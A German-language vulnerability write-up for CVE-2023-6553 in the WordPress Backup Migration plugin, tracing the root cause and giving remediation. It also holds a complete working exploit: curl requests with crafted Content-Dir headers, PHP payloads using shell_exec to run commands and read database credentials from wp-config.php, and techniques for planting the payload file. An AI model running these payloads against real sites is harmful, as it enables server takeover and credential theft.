
Proof-of-Concept-Exploit und technische Dokumentation für CVE-2023-6553, eine nicht authentifizierte PHP-Datei-Inklusions-Schwachstelle, die Remote-Code-Ausführung im WordPress-Plugin Backup Migration <=1.3.7 ermöglicht.
Plugin: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (Kritisch)
CWE: CWE-98 — Unsachgemäße Kontrolle des Dateinamens für Include/Require-Anweisung
Authentifizierungsanforderung: Keine
Auswirkung: Remote Code Execution
Backup Migration ist ein ziemlich beliebtes WordPress-Plugin (~90.000+ aktive Installationen), das Benutzern hilft, Sicherungskopien zu erstellen. Während des Backup-Prozesses läuft im Hintergrund eine Datei namens backup-heart.php - sie erhält Konfigurationsinformationen über HTTP-Header, um zu erfahren, welches Verzeichnis gesichert werden muss, wo sich die Konfigurationsdatei befindet usw.
Das Problem liegt darin, dass diese Datei den vom Client gesendeten HTTP-Headern vollständig vertraut, den Header-Wert direkt in den Dateipfad übernimmt und dann require_once() verwendet, um die Datei aus diesem Pfad zu laden. Ein Angreifer muss lediglich den Content-Dir-Header senden, der auf ein Verzeichnis mit bösartigem PHP-Code zeigt → der Server bindet diesen automatisch ein und führt ihn aus.
Es ist erwähnenswert, dass die Datei backup-heart.php keine Authentifizierung erfordert — sie prüft nur, ob die Anfragemethode POST ist, ohne irgendein Nonce oder Benutzerrechte zu verifizieren. Jeder im Internet kann eine Anfrage an sie senden.
⇒ Dies ist eine Zero-Click-Schwachstelle.
PHP verfügt über Funktionen wie include(), require(), require_once(), mit denen andere PHP-Dateien in das laufende Programm eingebunden werden. Wenn der Dateipfad, der an diese Funktionen übergeben wird, ohne Validierung aus Benutzereingaben stammt, kann ein Angreifer den Server zwingen, eine beliebige Datei einzubinden:
allow_url_include=On (normalerweise standardmäßig deaktiviert).Diese CVE fällt unter LFI — der Angreifer kontrolliert den Pfad, der an require_once() übergeben wird, und zeigt auf eine PHP-Datei, die der Angreifer auf den Server schreiben konnte.
Viele Entwickler denken, HTTP-Header seien "interne" Metadaten, die nur dem Server und dem Client bekannt sind. In Wirklichkeit kontrollieren Angreifer 100% des Header-Inhalts — sie können jeden Header-Namen und -Wert festlegen. Headern zu vertrauen ist genau wie Formulareingaben zu vertrauen — es muss validiert werden.
define() und PHP-Konstantendefine('NAME', $value) erstellt eine Konstante, die in der gesamten Anwendung verwendet wird. Sobald sie per define erstellt wurde, kann der Wert nicht mehr geändert werden. Wenn $value von einem Angreifer stammt, ist jede Stelle, die diese Konstante verwendet, betroffen.
Ich begann damit, mit grep alle require- und include-Anweisungen im Plugin zu durchsuchen:
grep -rn "require\|include" includes/

Die Suchergebnisse lieferten viele require/include-Aufrufe. Beim Durchsehen waren die meisten include_once-Aufrufe in banner/misc.php und banner/views/index.php — diese gehören zum Admin-UI-Rendering-Code mit hartcodierten Pfaden, was sie nicht ausnutzbar macht.
Allerdings fielen mir 2 Zeilen in backup-heart.php auf:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
Zeile 118 verwendet require_once mit der Konstante BMI_INCLUDES — wäre diese Konstante hartcodiert, wäre es sicher. Aber beim Blick auf Zeile 64 sieht man, dass BMI_INCLUDES aus einer anderen Konstante, BMI_ROOT_DIR, aufgebaut wird. Also müssen wir weitersuchen: Wo wird BMI_ROOT_DIR sein Wert zugewiesen?
Ich verwendete erneut grep, um das nachzuverfolgen:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
Ergebnisse:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
Zeile 62 zeigt, dass BMI_ROOT_DIR seinen Wert aus $fields['content-dir'] bezieht. Dies ist eine Variable, kein fester Wert — wir müssen die Datei öffnen und sehen, was $fields enthält.
Ich öffnete backup-heart.php in VS Code bei Zeile 62:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

Es ist deutlich zu sehen, dass $fields['content-dir'] direkt in define() einfließt. Nun müssen wir herausfinden, wo die Variable $fields zugewiesen wird:
// Lines 7-9: Prüft nur die POST-Methode
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Liest ALLE HTTP-Header aus der Anfrage
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Setzt Header-Namen in Kleinbuchstaben
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


An diesem Punkt wird die Ursache glasklar: $fields enthält alle HTTP-Header, die über getallheaders() abgerufen werden — vollständig vom Client kontrolliert. Es gibt kein wp_verify_nonce(), kein current_user_can(), keine Prüfung auf gültige Pfade — es wird lediglich die POST-Methode verifiziert und die Header direkt eingelesen.
Angreifer sendet POST-Anfrage mit Header Content-Dir: /path/to/attacker/
↓
getallheaders() liest rohe Header → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← keine Validierung
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← führt PHP aus
↓
Angreifercode läuft mit www-data-Rechten → RCE
Zusammenfassung der Ursache: HTTP-Header → define() → require_once(), mit null Validierungsschritten dazwischen.
Ich verwendete Xdebug + VS Code, um den Angriffsablauf visuell zu bestätigen. Ich setzte 2 Breakpoints bei Zeile 62 und Zeile 118 in backup-heart.php und sendete dann die Exploit-Anfrage mit curl.
Breakpoint 1 — Zeile 62:
Der Debugger hielt direkt bei define('BMI_ROOT_DIR', $fields['content-dir']) an. Die Erweiterung der Variable $fields im Variablenpanel zeigte ein Array mit 22 Elementen — das alle vom Client gesendeten HTTP-Header enthält. Insbesondere:
content-dir = "/tmp/bmi/" — genau dieser per Header gesendete Wert wird direkt der Konstante BMI_ROOT_DIR zugewiesen.content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — alle vom Angreifer kontrolliert.Es gibt keine Validierungs- oder Filterungsschritte, die auf content-dir angewendet werden, bevor es an define() übergeben wird.

Breakpoint 2 — Zeile 118:
Mit F5 hielt der Debugger bei require_once BMI_INCLUDES . '/bypasser.php' an. Beim Betrachten des Zustands:
$fields enthält weiterhin content-dir = "/tmp/bmi/" — das beweist, dass der Wert zwischen den Zeilen 62 und 118 nicht verändert wurde.{main} backup-heart.php 118:1 — der Code wurde direkt von Anfang der Datei bis zu dieser Stelle ausgeführt, unter Umgehung jeglicher Middleware- oder Authentifizierungsprüfungen./tmp/bmi/includes/bypasser.php vor — eine Datei, deren Inhalt vom Angreifer kontrolliert wird.
Die Debugging-Ergebnisse bestätigen perfekt den in Schritt 3 analysierten Ablauf: HTTP-Header gelangt von getallheaders() → define() → require_once(), ohne jegliche Validierung dazwischen.
Bevor der Include ausgelöst wird, muss auf dem Zielserver bereits eine PHP-Datei existieren. Übliche Techniken sind:
| Methode |
|---|
Senden Sie eine Anfrage mit Content-Dir, der auf das Verzeichnis mit der Payload zeigt. Der Server führt die Datei des Angreifers automatisch per require aus.
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
Alle Content-*-Header müssen angegeben werden, da backup-heart.php sie in anderen define()-Aufrufen verwendet — fehlende Header lösen PHP-Warnungen aus und können die Ausführung vor dem Erreichen von require_once abbrechen.
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
Gibt 200 zurück — der Endpoint ist offen und fragt nicht nach Authentifizierung.

Erstellen Sie die Verzeichnisstruktur, die require_once erwartet vorzufinden: {Content-Dir}includes/bypasser.php:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
Ausgabeergebnis:

RCE erfolgreich — der Server führt den Befehl id aus und gibt die Ausgabe zurück.
Nach der Bestätigung von RCE änderte ich die Payload, um zu demonstrieren, dass ein Angreifer sensible Informationen auf dem Server lesen kann. Ändern Sie den Inhalt der Payload-Datei, um wp-config.php zu lesen:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
Senden Sie dieselbe curl-Exploit-Anfrage erneut → die Ausgabe liefert Datenbank-Verbindungsdetails:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
Der Angreifer kann jede Datei lesen, auf die www-data Zugriff hat — wp-config.php, /etc/passwd, Quellcode anderer Plugins — das erweitert die Angriffsfläche.

Weiteres Ändern der Payload, um zu demonstrieren, dass der Angreifer Systeminformationen des Servers sammeln kann — als Grundlage für Privilege Escalation oder laterale Bewegung:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
Curl-Exploit senden → Ausgabe:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

Aus dieser Ausgabe erfährt der Angreifer:
172.18.0.3 — bestätigt, dass der Server sich in einem Docker-Netzwerk befindet, was Pivoting zu anderen Containern (Datenbank, Cache usw.) ermöglichtbackup-heart.php auf der Festplatte liegt und direkt über die URL aufgerufen werden kann.Verwenden Sie keine HTTP-Header zur Bestimmung von Dateipfaden. Nutzen Sie relative Pfade, die aus __DIR__ abgeleitet werden:
// Verwundbar: verwendet jeden Header-Wert, den der Angreifer sendet
define('BMI_ROOT_DIR', $fields['content-dir']);
// Behoben: verwendet festen Pfad, Angreifer kann ihn nicht ändern
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
Fügen Sie eine Autorisierungsprüfung hinzu — nur WordPress-Admins sollten diesen Endpoint aufrufen dürfen:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php prüfen./wp-content/plugins/*/includes/*.php blockieren.| Attribut | Wert |
|---|
| CVE-ID | CVE-2023-6553 |
| CVSS-Score | 9.8 (Kritisch) |
| Plugin | backup-backup (Backup Migration) ≤ 1.3.7 |
| Authentifizierung | Nicht erforderlich |
| Benutzerinteraktion | Keine (Zero-Click) |
| Behoben | Version 1.3.8 |
| Konzept |
|---|
| Log-Poisoning | Senden einer Anfrage mit <?php ... ?> im User-Agent → Code wird ins Access-Log geschrieben → Logdatei einbinden |
| PHP-Session | PHP-Code in eine Session-Datei unter /tmp/sess_xxx schreiben |
| Upload-Kette | Die WordPress-Medien-/Avatar-Upload-Funktion ausnutzen, um die Datei hochzuladen |
| Plugin-Fehlerlog | Das Plugin schreibt sein eigenes Fehlerlog — das Auslösen eines Fehlers mit PHP-Code schreibt den Code in die Logdatei |
| CVSS-Metrik | Wert | Begründung |
|---|
| Angriffsvektor | Netzwerk | Über HTTP |
| Angriffskomplexität | Niedrig | 1 POST-Anfrage, keine Timing- oder Sonderbedingungen erforderlich |
| Erforderliche Privilegien | Keine | Endpoint erfordert keine Authentifizierung |
| Benutzerinteraktion | Keine | Angreifer-getrieben, Opfer benötigt keine Interaktion |
| Vertraulichkeit | Hoch | Kann jede Datei lesen: wp-config.php, /etc/passwd, Quellcode |
| Integrität | Hoch | Beliebige Dateien schreiben, Webshell installieren, Datenbank ändern |
| Verfügbarkeit | Hoch | Dateilöschung, Prozessbeendigung, vollständige Server-Kompromittierung |